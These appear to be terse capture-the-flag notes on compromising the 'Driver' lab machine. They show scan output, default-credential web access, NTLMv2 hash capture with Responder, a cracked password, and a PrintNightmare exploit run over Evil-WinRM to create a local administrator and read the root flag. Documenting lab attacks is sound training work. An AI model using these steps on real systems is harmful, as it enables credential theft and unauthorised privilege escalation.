Creds

Username	Password	Description
tony	liltony	winrm

Nmap

Port	Service	Description
80	http	
135	msrpc	Microsoft Windows RPC
445	microsoft-ds	Microsoft Windows 7 - 10 microsoft-ds (workgroup: WORKGROUP)
5985	http	Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) (winrm)

Service Info: Host: DRIVER; OS: Windows; CPE: cpe:/o:microsoft:windows
clock-skew: mean: 6h59m58s, deviation: 0s, median: 6h59m58s

```
# Nmap 7.92 scan initiated Wed Dec 15 19:43:21 2021 as: nmap -sC -sV -vvv -p- -oA nmap/Full 10.10.11.106
Nmap scan report for 10.10.11.106
Host is up, received echo-reply ttl 127 (0.045s latency).
Scanned at 2021-12-15 19:43:23 EST for 155s
Not shown: 65531 filtered tcp ports (no-response)
PORT     STATE SERVICE      REASON          VERSION
80/tcp   open  http         syn-ack ttl 127 Microsoft IIS httpd 10.0
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
| http-methods:
|   Supported Methods: OPTIONS TRACE GET HEAD POST
|_  Potentially risky methods: TRACE
| http-auth:
| HTTP/1.1 401 Unauthorized\x0D
|_  Basic realm=MFP Firmware Update Center. Please enter password for admin
|_http-server-header: Microsoft-IIS/10.0
135/tcp  open  msrpc        syn-ack ttl 127 Microsoft Windows RPC
445/tcp  open  microsoft-ds syn-ack ttl 127 Microsoft Windows 7 - 10 microsoft-ds (workgroup: WORKGROUP)
5985/tcp open  http         syn-ack ttl 127 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
Service Info: Host: DRIVER; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode:
|   3.1.1:
|_    Message signing enabled but not required
| smb2-time:
|   date: 2021-12-16T07:45:21
|_  start_date: 2021-12-16T02:36:57
| smb-security-mode:
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| p2p-conficker:
|   Checking for Conficker.C or higher...
|   Check 1 (port 23419/tcp): CLEAN (Timeout)
|   Check 2 (port 18115/tcp): CLEAN (Timeout)
|   Check 3 (port 26928/udp): CLEAN (Timeout)
|   Check 4 (port 43116/udp): CLEAN (Timeout)
|_  0/4 checks are positive: Host is CLEAN or ports are blocked
|_clock-skew: mean: 6h59m58s, deviation: 0s, median: 6h59m58s

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Dec 15 19:45:58 2021 -- 1 IP address (1 host up) scanned in 157.44 seconds
```

/etc/hosts

```
10.10.11.106    DRIVER
```

Web Enumeration

curl http://$IP -H 'Authorization: Basic YWRtaW46YWRtaW4='

smb and scf file exploit

```
kali@kali:~$ sudo responder -wrf --lm -v -I tun0
[SMB] NTLMv2 Client   : 10.10.11.106
```

```
[SMB] NTLMv2 Username : DRIVER\tony
[SMB] NTLMv2 Hash     : tony::DRIVER:1122334455667788:14F2887F4A3CCFB6225EDE986AC8AE69:0101000000000008DAAB000DAF3D701C65FC3E7D4E16318000000000200000000000000000000000
```

tony:liltony 00 - Loot > Creds

winpeas.exe

```
ÉÍÍÍÍÍÍÍÍÍÍ¹ UAC Status
È If you are in the Administrators group check how to bypass the UAC https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#basic-uac-bypass-full-file-system-access
    ConsentPromptBehaviorAdmin: 5 - PromptForNonWindowsBinaries
    EnableLUA: 1
    LocalAccountTokenFilterPolicy: 1
    FilterAdministratorToken: 0
      [*] LocalAccountTokenFilterPolicy set to 1.
      [+] Any local account can be used for lateral movement.


ÉÍÍÍÍÍÍÍÍÍÍ¹ PowerShell Settings
    PowerShell v2 Version: 2.0
    PowerShell v5 Version: 5.0.10240.17146
    PowerShell Core Version:
    Transcription Settings:
    Module Logging Settings:
    Scriptblock Logging Settings:
    PS history file: C:\Users\tony\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
    PS history size: 134B

 Scheduled Applications --Non Microsoft--
 Check if you can modify other users scheduled binaries https://book.hacktricks.xyz/windows/windows-local-privilege-escalation/privilege-escalation-with-autorun-binaries
    (DRIVER\Administrator) VerifyFirmware: C:\Users\tony\appdata\local\job\job.bat
    Permissions file: tony [AllAccess]
    Permissions folder(DLL Hijacking): tony [AllAccess]
    Trigger: At log on of DRIVER\tony

 Searching hidden files or folders in C:\Users home (can be slow)

     C:\Users\All Users\ntuser.pol
     C:\Users\All Users\RICOH_DRV
     C:\Users\Default User
     C:\Users\Default
     C:\Users\All Users
     C:\Users\tony\AppData\Local\Packages\Windows.PurchaseDialog_cw5n1h2txyewy\Windows.PurchaseDialog_6.2.0.0_neutral_neutral_cw5n1h2txyewy\ActivationStore\ActivationStore.dat.LOG2
     C:\Users\tony\AppData\Local\Packages\Windows.PurchaseDialog_cw5n1h2txyewy\Windows.PurchaseDialog_6.2.0.0_neutral_neutral_cw5n1h2txyewy\ActivationStore\ActivationStore.dat.LOG1
     C:\Users\tony\AppData\Local\Packages\Windows.ContactSupport_cw5n1h2txyewy\Windows.ContactSupport_10.0.10240.16384_neutral_neutral_cw5n1h2txyewy\ActivationStore\ActivationStore.dat.LOG2
     C:\Users\tony\AppData\Local\Packages\Windows.ContactSupport_cw5n1h2txyewy\Windows.ContactSupport_10.0.10240.16384_neutral_neutral_cw5n1h2txyewy\ActivationStore\ActivationStore.dat.LOG1
     C:\Users\tony\ntuser.pol
     C:\Users\All Users\RICOH_DRV\RICOH PCL6 UniversalDriver V4.23\do_not_delete_folders
```

```
[0;31m*Evil-WinRM*[0m[0;1;33m PS [0mC:\Users\tony\Desktop> type C:\Users\tony\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
Add-Printer -PrinterName "RICOH_PCL6" -DriverName 'RICOH PCL6 UniversalDriver V4.23' -PortName 'lpt1:'

ping 1.1.1.1
ping 1.1.1.1
```

Vulnerable printer Driver and also

print nightmare

```
git clone https://github.com/calebstewart/CVE-2021-1675
```

```
    Directory: C:\Users\tony\Documents


Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-a----       12/21/2021   1:05 AM         178561 nightmare.ps1


[0;31m*Evil-WinRM*[0m[0;1;33m PS [0mC:\Users\tony\Documents> Import-Module .\nightmare.ps1
[0;31m*Evil-WinRM*[0m[0;1;33m PS [0mC:\Users\tony\Documents> Invoke-Nightmare -NewUser "test" -NewPassword "Test123"
[+] created payload at C:\Users\tony\AppData\Local\Temp\nightmare.dll
[+] using pDriverPath = "C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_f66d9eed7e835e97\Amd64\mxdwdrv.dll"
[+] added user test as local administrator
[+] deleting payload from C:\Users\tony\AppData\Local\Temp\nightmare.dll
[0;31m*Evil-WinRM*[0m[0;1;33m PS [0mC:\Users\tony\Documents> net user test
User name                    test
Full Name                    test
Comment
User's comment
Country/region code          000 (System Default)
Account active               Yes
Account expires              Never

Password last set            12/21/2021 1:06:44 AM
Password expires             Never
Password changeable          12/21/2021 1:06:44 AM
Password required            Yes
User may change password     Yes

Workstations allowed         All
Logon script
User profile
Home directory
Last logon                   Never

Logon hours allowed          All

Local Group Memberships      *Administrators
Global Group memberships     *None
The command completed successfully.

[0;31m*Evil-WinRM*[0m[0;1;33m PS [0mC:\Users\tony\Documents>
```

```
kali@kali:~/www$ evil-winrm -u test -p Test123 -i $IP
```

root.txt

```
[0;31m*Evil-WinRM*[0m[0;1;33m PS [0mC:\Users\Administrator\Desktop> ls


    Directory: C:\Users\Administrator\Desktop


Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-ar---       12/20/2021   8:58 PM             34 root.txt


[0;31m*Evil-WinRM*[0m[0;1;33m PS [0mC:\Users\Administrator\Desktop> type root.txt
b136010a3eb8a086a09275e60423d45f
```